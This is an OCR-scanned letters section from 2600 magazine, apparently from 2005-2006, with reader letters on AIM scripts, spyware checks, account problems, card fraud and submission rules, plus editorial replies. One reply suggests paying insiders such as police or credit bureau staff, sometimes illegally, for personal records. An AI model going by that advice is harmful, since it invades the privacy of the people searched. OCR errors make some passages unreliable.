i n  th is  y e a r ' s  s u m m e r  issue .  Not  o n ly was it  d evoid o f  
usefu l i nfo rmati o n  but  it was fu ll  of b lata n t  i n accu raci es .  
Seve ral  of t h e  m o s t  g l a ri n g  errors a re a s  fo l lows:  

"There is  a l m o s t  no defe n s e  to a script li ke this ,  ex­
cept fo r t h e  vi cti m g etti n g  off of AIM . "  

Rather t h a n  s i g n  off, it  w o u ld b e  trilfi a l  t o  set your  
cl.i ent  to autc m :l t c2 11y i Cj n o r e  i n sta n t  m essages frc.;n 
people who a re not on y o u r  buddy li st.  This h a s  bepn a 
feature of even t h e  off ici a l  AIM cli e n t  for m a ny year�, .  
D o n 't even g e t  m e  sta rted o n  t h e  fa ct: t h a t  it  i s  a l o t  eas · 
i e r  fo r t h e  victi m to cii ck i g n o re t h a n  it is fo r wi n d wa ke r  
to create a d d i ti o n a l  A I M  screen n d m e s .  

W h a t  rea lly bothers m e  t h o u g h  l S  t h e  last li n e  .. " Plus,  , 
th ere's n othi n g  that  A O L  can do a b o ut it . "  This  could not  

' 

be fu rth e r  t h a n  t h e  truth . 1 h e  offi ci a l  AIM client,  a n d  
m ost fu ll  featured c li e n ts ,  d o  n o t  u s e  t h e  t o e  p rotocol .  
They use the osca r p mtocol. Toc v 1 .0 was released over  
six yea rs a 9 0  but was n ever rea lly s u p p o rted by AOL.  T h ey 
h ave no o b li g ati o n  to a llow p e o p le to conti n u e to use 
t h ei r  servi ce vi a th is  p rotocol. H e ll, t h e  fi r st versi o n  of 
t h e  p rotocol. ' b e  one li n ked i n  t h e  a r ti cle, h a s  a lrea d y  
been b a n ned . If p e o p le li ke wi ndwaker  conti n u e  to u s e  
t h e  t o e  to h e  a s s h o les I would not be su rprised i f  AOL 
d ro p ped ", :J � p r , r:l I ;t  il ltogeth er. 

fhis a rtide rea d m o re li ke t h e  Doa ,ts uf a scri pt k id  
tClan t h e  ki n d  of article I a m  a ccusto med to rea d i n g  in 
2600. Way to b ri l 1 g  t h e  b a r  down g uys.  

phil 

Dea r 2600: 
I am writi n g  to say that  I recently picked up a copy of 

your  magilzine ,  a n d  I ioveit. I have a lways been i nto 

.

DiSh  N etwo rk DVR sate llite receivers) .  I s u

, 

ccessfu lly r u n  a 
s m a ll perso n a l  web s e rver off of this  cump uter. I k n ow 
you ' re proba b ly li ke " o h  w h o  ca res , "  but l ' m  telli n g  y o u  

W i n t e r  2 0 0 S - 2 0 0 h  

c o m p uters rea lly h eavi ly, a lways wa nti n g  to lea rn  new 
thi n g s .  I have lea r n e d  rTl ore things  j ust fro rTI readi n g  th is  
o n e  copy of 2 2 : 1  t h a n  I have t h e  past two years.  l a n ce 
read s o m ewh ere that  a n y  com p uter is better t h a n  no 

I co m p uter fo r a h a cker. I rTlust  say that is q uite true.  I re·, 
cently too k  3n o ld Gateway that I fo u n d  in t h e  tra s h  a 
c o u p le of h o uses down ( Penti u m  2, 3 5 0  m h z ,  9 4 m b  of I 
ra m ,  Wi n d ows 95 (eww ) ,  a n d  a lo u r  g i g  h a rd d rive) a n d  : 
su ccessfu lly u p g ra d e d  it to 224mb  of ra m ,  Fedora Red h a� 
Li n u x  a n d  XP Pro, a n d  two 120  g i g  h a rd d rives (out  of o ld 
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guys this because I consta ntly see people whin ing about 
how s low thei r  1 .0 ghz processor and 512mb of ram com­
puters a re .  But yet they claim to be "hackers . "  A true 
hacker doesn 't need a fa n cy $3000 box to explore the net 
and  I j ust want to tell them to stop whi n i ng .  

Tha n ks for heari n g  me out .  I hope to  read 2600 for 
yea rs to come.  Oh yeah ,  I 'm sendi n g  this letter via emai l  
from a Penti um  1 (speed u n known but slo w) with 64mb 
of ram on Wi ndows 95  a nd  a shitty dialup con nection 
( 14 .4k) from my mom's  house i n  the midd le of nowhere .  
It  took me  th ree hours to confi gu re it i n  order  to get on­
li ne  j ust to send you guys th is  letter of appreciation  for 
openi ng  my eyes to the  free i nfo rmation  that I ri ghtfully 
deserve . 

Thanks  for li sten ing .  At least someone does . . . .  
j peg virus 

Dear 2600: 
After borrowi ng  2 1 : 4  from an i n structor at a school I 

was sent to, I was hooked .  The a rti cles were great a nd  
the cover was  very intri gui n g .  One  o f  the many things 
your magazi ne  has  i nspired me  to do  was lea rn the h is­
tory. I thi n k  it ' s  very i mportant to know your roots and 
understand  how it i s  a lot of thi ngs  came  to be today in 
society. It's been very i nteresti n g  read ing a rti cles and 
watch ing videos found  on li ne  about Kevi n Mitnick ,  
Phiber Opti k ,  a nd  others. 

Props to you guys. Keep up  the great work! 
Mike 

At least the school you were sent to isn 't tha t bad if 
the instructors a re the ones reading a hacker magazine. 

Dear 2600: 
In the a rti cle titled "Javascript Injection "  in 2 2 : 3 ,  

there is s ome  HTM L text i n  which the ri ght  ang le b rackets 
(» have apparently a ll been replaced with pipe symbols 
( I ) . I don 't  know why that happened ,  but it's aston ish ing 
that  such a glari ng  mistake was not caught by the 2600 
editors. It's not even the first time  I see errors li ke that 
concerni ng  HTM L text i n  the magazi ne .  Coming from a 
hacker publicati on ,  it's very disa ppoi nti n g .  

George The Pancake 
It's a lways sad when we let people down but there's 

no getting a round it this time. We made a mistake. Hard 
as that may be to believe, it has been kno wn to happen. 
Sometimes those particular brackets a re temporarily 
changed when being imported into a program that uses 
those same brackets to interpret commands. This is an 
instance where they weren't changed back. We regret the 
error as well as the software. 

Dear 2600: 
I was j ust poki ng  my nose through 2 2 : 2  when I fe ll 

upon a n  a rti cle labeled " Remote U NIX Execution  Via a 
Cell Phone . "  I have to say I became  en lig htened to a 
whole new world. You ca used me to go pu ll a Dell out of 
my garage (crappy specs, li ke a 166mhz  processor a nd  
3 2mb  ra m but  a n etwork card is avai la ble) and  i n stall 
S lackwa re. Fi nd ing  this remote system actua lly worked, I 
decided to step it up .  So I wrote a few server app lica­
tions ,  the first runn ing  on the Dell. This one routes the 
i n coming  data and sends it to the selected computer on 
my network.  The rest listen for the  commands  and  
process them .  My network has a n  ar ray of computers r un ­
n ing  Wi ndows and  others Li n ux, a nd  now I am  ab le to 

control each one  i ndividua lly, best of a ll, 100 percent 
mobi le .  Be  forewa rned:  don 't forget to check your cell 
p hone's text messagi n g  service and charges.  You might 
run up  your b i l l  easi ly. 

Lu ke 

Dear 2600: 
We have reason to beli eve that your magazi ne  pub­

lished a bogus hack aga inst  SonicWALL  products i n  the 
Autu m n  2005 a rti cle titled "C li m bi n g  the SonicWALL . "  Af­
ter a na lyzi ng  the tech n ique described i n  the a rti cle we 
attempted to contact Kn lghtlOrd in an attempt to verify 
his clai ms .  As we have n ot received a response to our i n ­
qu i ries on  how he  was  ab le to  use a "n ice little program 
that sniffs passwords" to defeat a 256 bit hash we have 
no choice but to assume that the author made false 
claims  in his abi lity to compromise our security. 

We believe that the a rti cle publi shed in 2600 is a 
hoax .  

Matt Dreyer 
SonicWALL 

We intend to look into this and advise our readers to 
see if this is in fact un true. Thanks for writing. 

Dear 2600: 
Fi na lly I fi nd  myself sitti n g  down to write back to 

2600 after 12-15 yea rs of devotion a nd  a lways fi ndi ng  
you r  issues on the she lf, no  matter how hig h/low they 
a re or what they're h idden behi nd .  

Yea rs o f  tutoria ls ,  code  sa mp les, a nd  how-tos . . .  s ome  
I 'd t hought  of, many I would n ever have thought  of. I 'm  
gratefu l for the fo rum of  free i n formation  exchange  2600 
has provided me a ll these yea rs. 

My b rother recently took th i rd degree as a Mason .  I 
told h im that the reason I could never do that was be­
cause (aside from their doctri n e  of misogyny) they were 
nothi ng  but a culture based on  i nformation control. I 
fi rm ly believe i nfo-control is a nti - h uman .  

The reason for my  writi ng  i s  the recent cover ( 2 2 : 3 ) .  
I've been a graphic designer  for years . . .  at least my job 
title sa id so .  This cover, second  on ly perhaps to the one  
with Dubya and  the black li ght  trick ,  has  made me  write. 

Who is the mysterious  man on  the cover with the bio­
hazard case? I'm not sure it mattered ,  but it appea rs he 's  
wavi n g  down a la rge McDona ld ' s  si gn  to la nd on what 
cou ld be either a n  ai rcraft carrier  or a n  offshore oi l  ri g .  

Either  way, as a n  homage  to  The Simpsons, i t  a p ­
pears they're getti ng  a McDona ld 's  on  their offshore oi l 
ri g .  At least that's how it looks  to me .  

I've ga i ned  years of enjoyment from your  fi ne  publi­
cati on .  Keep geeki ng  a nd  maki n g  good on that Fi rst 
Amendment. We can't do  it without you .  (Well, maybe we 
could ,  but it would be fa r less fu n . )  

alpha bot 

Dear 2600: 
There have been a lot of a rti cles in 2600 recently 

with spyware detection methods that usua lly i nvolve 
down loadi n g  some piece of software or another a nd  a bit 
of debate as  to which tool does the job best/better. I j ust 
wanted to poi nt out, especia lly si nce Ing lix the Mad 
mentioned Security Task Manager, that a lmost al l  copies 
of Wi ndows have a tool  bui lt i n  that does essentia lly the 
sam e  thi ng  and if you happen to be looki n g  for spywa re 
on a Wi ndows box it's a good place to check .  It's ca lled 

P a g e  3 " ----------------------- a E. 0 0  If a 9 a z i n e 



n etstat. Specifica lly, n etstat with the nvb opti o n .  This 
option  lists every a ctive port o n  your machine li ke n et­
stat na does but it a lso lists the processes tied to that 
port. So if it 's  usi n g  a port you will fi nd  where it lives 
very quickly h ere. U n less of course the spyware happens  
to i n clude i ts  own TCPjIP imp lementati o n !  

savaticus 

Dear 2600: 
I j ust wanted to start out by sayi n g  I enjoyed the  

new i s sue .  I loved the  a rti cle about the Wal-Mart se lf 
checkout machines .  I am writi n g  just to tell you how 
much  of a loser  I am.  I was recently dumped by my gi rl­
fri end .  She  said that I spent too much  ti me  "p layi n g  with 
my computers . "  I thi n k  what rea lly pushed her over the  
edge was  the fact that  s he  was  tryi n g  to  get  me  to  have 
"sex" with h er, but I was much  more i nterested in readi n g  
you r  magazi ne .  How pathetic i s  that? Anyway keep up  
the  good  work. Can 't wait ti ll the  next qua rter. 

Anthony 
Sometimes the knowledge that we've kept people 

from breeding is very comforting. 

Advice 
Dear 2600: 

Two days ago I read about your work a nd  I decided to 
sea rch for it because I thought  it was more than very i n ­
teresti n g .  I c ome  from Spai n ,  my Eng li sh  i s  not the best 
(but I hope I wi ll be ab le to read your a rti cles) ,  but I 
would li ke to receive you r  magazi n e  in a kiosk in my city 
because I am 17 a nd  my parents don 't li ke this type of 
educati o n .  

Javier 
Parents everywhere are the same, aren 't they? Get­

ting us into a Spanish kiosk is a tall order since it's very 
difficult to get reliable overseas distribution in the first 
place. We will continue trying however. And when we 
succeed we'll update our list of stores which is on our 
website. We suggest subscribing to ensure that you get 
all of the issues in a timely manner. If your parents are 
the kind who keep a shredder near the front door for any 
mail they don 't approve of, it might be a good idea to 
open a post office box or use a friend's address. 

Dear 2600: 
Although  I am comfortab le enough  to get a round  on  

a computer for word processi ng ,  Internet etc . ,  I know 
less that squat about programming  and  tech matters. 

On  the other hand ,  I thorough ly enjoy your qua rterly 
because of the i n sig hts I gai n about the hacker's "mind. " 
Tha n k  you so much  for presenti n g  your materi a l  with this 
unique poi nt of view. 

For me, well, let's j ust say that after spendi n g  my 
adu lt life i n  higher education  at traditiona l  colleges a n d  
universities as  a problem solver combined with a life long  
pu rsuit o f  metaphysical matters . . .  I ca n certai n ly identify 
with the hacker's state of m ind .  

In t hat  regard,  perhaps you  can  advi se m e  o n  the fo l­
lowi n g  persona l  goal :  

For a few good reasons ,  I n eed to do  a few "people 
searches . "  I've located a few sites o n li n e  that provide  
these  services, parti cu la rly reverse ce l l  p hone  tracki n g  
a lo ng  with a n u m ber o f  months '  past cell p hone  state­
ments . . .  all for a few h u nd red dolla rs . 

N ow, n ot o n ly would I li ke to save that expense, I re­
ally want to do this myself. And to do this I need to get ­
or get i nto - the  speci a l  softwa re that gets this done .  
U nfortunately, I've lea rned that this access i s  avai lab le 
o n ly to li censed private eyes, etc. 

And so, I do  have the "mind"  for this without the 
tech expertise .  Any advice you ca n send a long i s  g reatly 
appreciated. 

Oh, and as  you probably a lready know, the  typica l 
"people search" software programs  avai lable for pur­
chase o n li n e  a re very a mateur a nd  limiti n g .  I n eed the 
turbo ! 

Harry 
It's possible to get a good amount of information on 

an individual through persistence and social engineer­
ing. But when you want to do this on a regular basis with 
many people it becomes a bit trickier. You need to make 
contact with those who have access to certain databases 
and are willing to share them with you. This usually 
means you 'll have to pay them and sometimes what 
you're paying them for isn't entirely lega/. Private eyes, 
cops, credit bureau employees, government workers . . .  
they all have a price. Another option is to become one o f  
these people yourself but that can take a lot o f  time, 
money, and patience. And in the end you may wind up 
breaking the law by exercising your powers inappropri­
ately. There is much public information that can be found 
on people through the local motor vehicle department or 
even by Googling but obviously these won 't be thorough. 

Dear 2600: 
I am fami li a r  with your pub li cati on  a n d  I thought  you 

might have a he lpfu l idea or  two that would a id me i n  re­
solvi n g  a conflict I cu rrently have with Veri zo n .  You may 
have come  across my problem before. I imag ine  I 'm not 
the o n ly one with this issue .  

A few weeks ago I estab li shed a Verizon DSL-on ly ac­
count. Upon con necti n g  my modem I qu ickly lea rned that 
the Verizon service i s  i nadeq uate . I ca lled them and ca n­
celed their service. Unfortunately, when I set up  the Ver­
izon account I ag reed to have them " li n k" my Ya hoo and  
Verizon emai l accounts. I ag reed to t h i s  service as  a mat­
ter of convenience .  It has  turned out to be very very i n ­
convenient. Now that  I have canceled my Verizon DSL  
servi ce I cannot access my  Yahoo account. 

When I try to login to my Ya hoo account I get a mes­
sage prompti ng  me  to " u n li n k" the two accounts. I 'm pre­
sented with an " u n li n k" button to click but when I click 
the button  I am  told that the request to u n li n k  ca nnot be 
processed at that time .  I have attempted to click this 
button repeated ly si nce can ce li n g  my DSL  service .  

I have ca lled Verizon about this issue each day si nce 
canceli n g .  I have been given i n consistent responses re­
gardi n g  the  solution  a nd  at this point I have no sense 
that they wi ll ever resolve the  issue .  I have been told a 
vari ety of different thi ngs  rega rdi n g  this proble m .  These 
i nclude: 

1 )  Yahoo  i s  worki n g  on  the problem and a troub le 
ticket is open .  

2 )  Yahoo has  n ot been ab le to resolve the  problem 
and the troub le ti cket is closed .  

3 )  You wi l l  have to call ou r  ca ncellations  department 
and u n ca n ce l  your cancellation  order;  then  . . .  o nce un­
canceled you can u n li n k  the a ccounts and then recancel .  

4)  You can n ot uncancel a cancel o rder. 
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5) There is n othi n g  we can do to u n li n k  these ac­
counts .  You wi ll have to talk to Ya hoo di rectly. 

I have talked with Ya hoo repeated ly a nd  they say 
there is n othi n g  they can do a nd  that it is somethi ng  
that  Verizon must reso lve. 

I am  fu rther told by Yahoo that if I do  n ot success­
fully u n li n k  the Verizon account with in  90 days they will 
delete my account. 

I have had an account  with Yahoo for many many 
yea rs . I would li ke to regai n access to my Ya hoo account  
as  it contai n s  so m uch persona l  i n formati on :  my persona l  
calendar, my contacts li st, cherished com m u ni cations  
from the people I love, stock portfo lio combos  that  I 
track,  etc. I can 't even access my Ya hoo Instant M essen­
ger. 

Are you fami lia r  with this problem7 Might you have 
some suggestions  or ideas about how to reso lve this is­
sue? 

Phi lli p  
You need to  make friends with some of the people in 

these corporations. Your Yahoo account doesn 't have to 
be deleted and Verizon can certainly be more helpful 
than they have been so far. But, despite the fact that 
they should have done a better job from the beginning, 
you will only get this fixed relatively quickly if you gain 
some allies on the inside. You can do this by getting their 
sympathy which is generally achieved by explaining the 
problem in as simple a way as possible. It may take a few 
attempts to get someone who can actually do something. 
You may have to talk to supervisors or techs. But it can 
be done. 

It sounds as if logging in to your old Verizon account 
will fix the problem so that's probably the best path to 
follow. Obviously you can 't do this since the account was 
canceled. But somebody at Verizon most likely can. Ya­
hoo can be made aware of the situation so that they 
don 't delete your account. If you find the right person, 
they can really get a lot done for you. We've experienced 
this many times. 

Of course if things go badly, and as a last resort, you 
can always complain to the powers that be such as the lo­
cal public utilities commission, the FCC the Attorney 
General's office, various consumer groups, and of course 
the media. But the trick in all of these cases is also to 
make it as succinct as possible so the reader of your let­
ter will instantly feel compassion for you and anger at  
those who are making your life difficult. If you get really 
steamed, you certainly could pursue a lawsuit. But that's 
also an investment in considerable time and money. 

If and when things do work out, it would also be 
helpful to let the world know. You can bet other people 
are experiencing the same types of problems on a daily 
basis. A search of the net reveals that you 're not alone. 

Dear 2600: 
I have been readi n g  your pub li cati on  for many years 

and have picked up  copies at nationa l  bookstore chains 
a nd  sma ll bookstores across the country. You guys a re 
awesome !  Your  a rti cles a re a lways ins ightfu l, well writ­
ten ,  a n d  fu ll of usefu l i n formati o n .  I o n ly wish  that more 
people wou ld read it so that there could be a g reater un ­
derstand ing  o f  the service you  provide to  non -technica l 
and  techn ica l  people a li ke .  

Unfortunately I a m  writi ng  about a serious  topic  and 
I am  hopi n g  that someone out there ca n he lp with th is  

p rob lem .  Recently my sister's debit  card was c loned and 
stole n .  I can on ly specu late about the  clon ing  si nce we 
have no  i dea what rea lly happened .  She had the ca rd in 
her wa llet when the i llega l  tra nsactions  occurred .  The 
bottom li n e  i s  that someone got a ho ld of her debit card 
n umber and the expiration  date and used it to purchase 
$900+ worth of merchandise .  They purchased about 
$550 worth of stuff from Wal-Mart a nd  a nother  $300 a n d  
somethi ng  from an  electronics store. She  o n ly found  out 
about the credit ca rd tra nsactions  because the e lectron ­
i c s  store was  ki nd  enough  to  ca l l  he r  a n d  let her  know 
that  somethi ng  had been  ordered with her  card. The  
credit ca rd company ca lled two nig hts later to  inform her  
that the purchases were made o n  the ca rd . Okay, I' ll say 
that agai n .  The credit ca rd company ca lled two nig hts af­
ter the purchases were made .  This was after the poli ce 
report was fi led ,  the account  was closed by the ba n k ,  
a nd  after the electronics store ca lled her  to notify her  of 
the purchase .  The lady on  the phone  representi ng  the 
credit ca rd company did not even know that the account  
had been  deactivated . S he  was  clueless! S he  even closed 
the account again to make sure the first closure went 
through .  This i s  not comforti n g  to know that the credit 
ca rd company and bank a re n ot a utomati ca lly on  the  
sa me  wavelength . 

O h ,  but it gets scarier !  The bank  had  no record of the 
details of the tra nsactions  that took p lace and  neither 
did the credit card compa ny. They did not have the loca­
tion  of the purchases or whether the purchases were 
made  offli ne  or on li n e .  The i nformation was " not avai l­
ab le yet . "  

Appa rently if someone uses your ca rd without autho­
ri zati on ,  New York State law requires that you fi le a 
statement with the loca l a nd  state police.  After getti n g  
everythi ng  notarized, signed ,  a n d  fi lli ng  o u t  a dozen or  
more papers, the poli ce ki n d ly took  the i nformation .  I 
then asked what wou ld be done  about the situati on .  The 
poli ce officer behind the desk  a n swered bluntly that 
nothi ng  would be done  since the  ban k/credit card com­
pany hand led this "sort of thi n g . "  I politely asked why we 
were botheri n g  to fi ll out a report if the po li ce don 't fo l­
low up with these types of crim ina l  cases. The police offi­
cer said it is  up  to loca l po li ce stations  whether to fo llow 
up  with these cases a nd  that m ost of the cases a re taken 
ca re of by the credit ca rd/ban k  companies well before 
the i nvestigations  turn up a ny resu lts, ifan  investigation  
is la unched .  In addition  to  fi li n g  with loca l police,  you  
m ust fi le with state poli ce who ,  by  the way, a re not con­
nected e lectronica lly or  otherwise with loca l poli ce sta­
tions .  Is this not one of the th ings that caused 9/11 to 
occur? Have we not fig u red out yet that law enforcement 
agencies shou ld be com m u nicati n g  with each other if 
they a re to be effective at stoppi ng  cri m e  and major  dis­
asters? I am  n ot feeli ng  reassured that we a re at a ll safe 
in this country. 

At this point, you might be wonderi n g  why I am writ­
i n g  in to your  fi ne  pub li cati o n .  Well, this whole thi ng  got 
me  thi n ki n g  about law enforcement and how utterly use­
less they can be.  Someone stea ls your credit ca rd a n d  
uses i t  t o  m a k e  i llegal  purchases,  essentia lly stea li n g  
from you ,  a nd  they can't be bothered t o  get off thei r  
butts a nd  do  somethi ng  about it. Then w e  a ll wonder why 
identity theft and credit ca rd fra ud  a re so pervasive. It's 
an easy crime  and  you get away with it too ! What ki nd  of 
message i s  this sendi n g  to would-be crooks? The next 
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step is for me to do the research myself. Once I fi n d  out 
where the products were pu rchased,  I am  goi n g  to try to 
contact someone at those companies to see if they have 
a ny additiona l  i n formation  about the purchases.  How­
ever, I 'm not su re how far this will get me as most retai l­
ers a re nervous about ta lki n g  to i ndividua ls about these 
thi ngs .  They become  defensive and fea rfu l that you wi ll 
either expose their i n securities or  sue them. Si lly rab­
bits ! I j ust want to know what happened and I thi n k  my 
sister has the right to know this even if the police a nd  
the bank  a re not  i nterested .  Sure,  the ban k  wi ll reim­
bu rse her  900 somethi n g  do lla rs but  that's not  the point. 
If the credit card companies a re goi n g  to compla in  that 
credit ca rd fraud  is rampant yet they do n othi ng  to so lve 
the p rob lem , then how as ordi n a ry citizens ca n we stop 
this from goi n g  on? Is this some sort of credit ca rd com­
pany poli cy? Thi n k  about it. If they can claim that credit 
card fraud  i s  up  then they can charge you astronomical  
fees a nd  i nterest rates and b la m e  it on  the crim ina ls .  Is  
this some sort of p loy and a re they worki n g  with 
local/state poli ce to do  this? Why wouldn 't they put pres­
su re on  local officia ls to do  their job if this wasn 't the 
case? 

Here 's where I need you r  h elp and you r  readers '  help .  
I would li ke advice on  what to do  h ere . Shou ld I i nvesti­
gate myself by usi n g  some soci a l  engin eeri n g  a nd  what 
tactics would you use to fi n d  out more i nformation  from 
those who a re n ot so wi lli n g  to give it up? Shou ld I write 
to the loca l n ewspapers to fi nd  out if they a re i nterested 
in i nvestigati n g/reporti n g  i n cidents li ke these? Is there 
a nyth ing  I am n ot thi n ki n g  about or missi n g  he re that I 
can do to stop this sort of thi n g  from happening? Obvi­
ous ly, stop purchasi n g  items o n li n e  but my sister i sn 't 
even sure where the card was stolen .  It could have been 
stolen by someone's cell p hone  camera i n  a sto re or  at 
the checkout counter  of the local superma rket for a ll we 
know. I n eed ideas that wi ll he lp me  to expose these peo­
ple for who they a re and sta rt a fi re under  the butts of 
those who can actua lly i nvestigate the crime .  It a n noys 
me  that police a re so complacent about this. They shou ld 
be making examp les of these people, not sh ruggi ng  it off 
i nto the la p of la rge corporations  that obvious ly don 't 
give a damn  if they lose a h u nd red thousand  do lla rs a 
yea r from fraud because they more than make it up by 
charg ing 22 percent interest a n d  $30 late fees. Mean­
whi le ,  the rest of us fo lks have to take days a nd  some­
times months a n d  years to straig hten out ou r  credit 
records and fi le reports, complai nts, and so o n .  

Any  advice on  this matter i s  appreciated .  
Adria 

You 've stumbled into a real nest of corruption here. 
The simple fact is that nobody wants to pursue the per­
petrators because it's a pain in the ass, difficult to prove, 
a lmost certainly in another jurisdiction and possibly even 
another country, and, most importantly, not cost-effec­
tive. As you correctly note, the credit card companies 
simply pass these charges on to the consumers dting 
"fraud" even though the money is often taken back from 
the merchants who then also become victims. These com­
panies lose nothing yet somehow achieve the image of 
being the good guys because they credit the accounts of 
the cardholders. Meanwhile the same lax security that 
makes such things possible in the first place continues to 
operate. 

You could spend a lot of time tracking down whoever 
made the fraudulent purchases. We doubt much would 
come out of that since neither the police nor the credit 
card company seem all that interested in pursuing it. 
What would be a lot more worthwhile would be exposing 
the exact methods used by these people to take advan­
tage of the system. When such a thing is exposed to the 
world, the companies involved have no choice but to fix 
them and their failure to do so will finally earn them the 
wrath they deserve. 

Guidelines 
Dear 2600: 

Can I submit a picture for the back of the zi n e  via 
emai l  o r  ca n that o n ly be  done  with sna i l  ma i l? 

Byte Stea ler 
Yes, email is fine. Just be sure it's of decent picture 

quality. Submit it to articles@2600. com. Payphone pho­
tos should go to payphone@2600. com. And of course, 
letters should go to letters@2600. com. Of course, you 
can also use snail mail for all of these. 

Dear 2600: 
"" . be  su re to use the h ighest possi b le resolution . "  

You rea lly shou ld n 't tempt 2600 readers li ke that. The  
temptation  to  stitch together a m ega pixel monster that 
would make most computers cry for mercy i s  very h i gh .  

lake 
Let us claritY then. When sending us pictures that 

you 'd like us to consider for printing, you 're best off go­
ing for something that will look good when it's printed, 
such as 300 dpi. A 70 dpi photo, which is closer to the 
standard on a web page, simply doesn 't cut it in print. 
Conversely, anything over 300 dpi isn 't really necessary. 

Dear 2600: 
I would li ke to submit an a rti cle for your  considera­

tion  and would li ke to know if there i s  a certa in  criteria 
or  format that you wou ld li ke the a rticle i n .  It does not 
have a ny images a n d  just a sma ll scri pt in Perl. 

Triad 
While we make an attempt to read all formats, you're 

best off submitting your article in ASCII text which is al­
most universally readable. ASCII diagrams, however, 
usually don 't work out well in a printed magazine which 
is why we encourage those who have diagrams to make 
them as high quality as possible and attach them sepa­
rately in one of the standard picture formats. Apart from 
all that, we like articles to be as in depth as possible 
(don't get all preoccupied over length as we can always 
trim it down) and with a hacker perspective (an a ir of 
mischief, lots of what-if scenarios, and a determination 
not to do things by the book). Finally, we ask that sub­
missions not have been published anywhere else (includ­
ing websites) and that they not be for two issues after 
they're submitted. 

Dear 2600: 
I was wonderi n g  what the rules were on a rticle copy­

rig ht. When you use an a rti cle, a re you ta ki n g  reprint  
rig hts? Can the origi na l  author  use the a rti cle i n  any 
other form after 2600 pri nts? Who owns the copyright at 
that point? 

J ust consideri n g  writi n g  an a rticle, but if it's pri nted 
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I 'd sti ll li ke to be ab le to put it on my website. 
Andy 

You can do whatever you want after we print it. It's 
your article. We only ask that it be new when you submit 
it. That means not printed in other publications or put on 
the Internet. It can take up to two issues for a decision to 
be reached on whether or not to print it so you may need 
a bit of patience. Articles should be sent to arti­
cles@2600. com. If you don 't get our automated reply 
within an hour or two, you might want to try resending it 
from a different account. You won 't get an automated re­
ply if you sent us something in the recent past however. 

Responses 
Dear 2600: 

This is in response  to the cable question  that Infer­
na lStorm asked in 2 2 : 2 .  It was a fi rmware upgrade for 
that model  box. They do those upgrades up to th ree 
times a yea r, dependi n g  on the model  of box. The reason 
for the upgrade  i s  to add features to you r  cable box or  to 
f ix  i ssues  that  they may have. Those particular series had 
problems with gu ide data a nd  so they did a massive up­
g rade for a ll cab le systems.  I don 't work particu la rly for 
Comcast, but for a nother Major  Cable Company, (thi n k  
AOL) .  H o p e  that this h elps some.  

ProtoHi ppy 

Dear 2600: 
Estragon  presents an i nteresti n g  subject in his a rti­

cle "Where Have All the Implants Gone?"  in 2 2 : 2 .  H ow­
ever, I have to argue against imp la nts. Imp la nts would 
connect ou rselves not o n ly physica lly but a lso menta lly 
to the techno logy of the day. Estragon  presented the 
idea of cell phone imp la nts a nd  various  other  wi reless 
com m u ni cation  devices. I see not one but many potenti a l  
security flaws. We  have seen  that  wi reless com m u ni ca­
tion devi ces a re i n herently i n secure. Who  would make 
these devices a nd  how would they be secured? In addi­
tio n ,  i n  order for the devices to gain popu larity they 
m ust be supported by the major  operati n g  system of the 
day. Th is  means  we wi ll trust M r. Gates' company to write, 
support, a n d  secure softwa re and ha rdware. Come on .  
The secu rity risks outwei gh  the gai ns  we wi ll s ee  i n  a ny 
operati on .  

Furthermore ,  I ask  who would want  a cell phone  - a 
tracki ng  d evice - imp la nted i nto thei r  body. All of us  
hackers who want to remain i n  hidi n g  wou ld be out i n  the 
open a nd  easi ly found  by the govern m ent agents a nd  se­
cret police .  I ask a ll hackers to resist the comi n g  storm of 
imp la nts. If imp la nts do become  a rea lity, let's have a lit­
tle fun with the guy next to us who talks i n sane ly loud .  

SamStone 

Dear 2600: 
I j ust fi n i shed read ing  mi rrorshades' a rti c le "I Am 

Not a Hacker" i n  22 :3 ,  a n d  I have to say I 'm very disap­
poi nted with what it said. The term " hacker" has  been 
used by mem bers of the computer i ndustry for somethi ng  
li ke 30 years, a nd  o n ly i n  recent years has  the term been 
associ ated with crime .  

When  I tell someone  I 'm i nto hacki ng ,  I tell t hem 
that it's "real hacking . . .  n ot the c r ap  they ta lk about o n  
TV." T h e n  I a lso exp lai n t o  most of t h e m  what exactly a 
hacker i s .  I tell them someth ing  li ke this :  "The media 's 
portraya l of hackers i s  fa r from rea lity. Even though  

there a re some people i n  the world that  do  ma li cious  
thi ngs  li ke what  the m edia portrays a hacker as ,  rea l 
h ackers g reatly look  down on people li ke that. A true 
hacker i s  nothin g  more than what average people would 
call a 'computer nerd , '  an i ntelligent a nd  curious  person 
who  is interested i n  the i n ne r  worki n gs of computers a n d  
tech no logy." O n ce I explai n that t o  t h e m ,  most of them 
appear  to have a surprisi n g  new positive perspective of  
the term " hacker." 

When you ta lk with reasonab ly knowledgeable peo­
ple i n  the computer i n dustry, m ost can easi ly i dentify be­
tween hacki n g  and cracki n g .  We j ust n eed to get the 
average  people's media outlets to either use the correct 
terms or  to come up with thei r  own term for cracki ng .  
Because, fo r  the m ost part, the media (especia lly the 
n ews media)  is  who we have to than k  for  the corruption  
of the te rm hacki ng ,  because that's where most  people 
lea rn about al l  of this .  

The m edia doesn 't usua lly get thi ngs  overnig ht. Look 
how lon g  it took  the n ews media to become aware of the 
vulnerabi lities of e-voti ng  machi nes ,  a nd  that  was some­
thi n g  havi n g  to do  with the government and politics, two 
of thei r  la rgest hypi n g  subjects. B ut I have a feeli ng  that 
a ll it would probably ta ke to bri n g  the truth about hack­
ing to the public 's attention  i s  to fi n d  a un ique way of 
demonstrati n g  the subj ect to the pub lic ,  i n  a way that 
the m edia would be  d rawn to talk about. 

The media 's corruptio n  of the term " hacker" i sn 't go­
ing to be reversed overnig ht, so give it a chance .  But un­
ti l the media and the pub li c  start usi n g  the term 
correctly, o r  the hacki n g  com m unity offi cia l ly comes up  
with a new name  for itself, I 'm  goi n g  to  conti n ue  to  de­
fen d  myself as a true, honorable " hacker," because "I am 
a hacker, and I'm damn proud of it! " 

Jeff 
It's important to remember that the corruption of the 

word won 't be fixed by creating a new word for all the 
stuff we don 't like. Labeling someone a "cracker" is as 
disingenuous as using the evil connotation of "hacker. " 
It says nothing of what the person is actually doing and 
makes it very easy to dismiss entire categories of people. 

Responses to Responses 
Dear 2600: 

In 2 2 : 2  Bri an  Detwei ler complai ned about the a rticle 
pri nted in 2 1 : 4  in the Arti llery section .  There seems to 
have been n umerous spyware/malware type a rticles i n  
2600 and  B rian  thought this one  t o  b e  too IE  specifi c .  
H owever, it looks li ke you have underesti mated the i nflux 
a reas of the spyware/malware ( and  al l  the rest) th reat. 
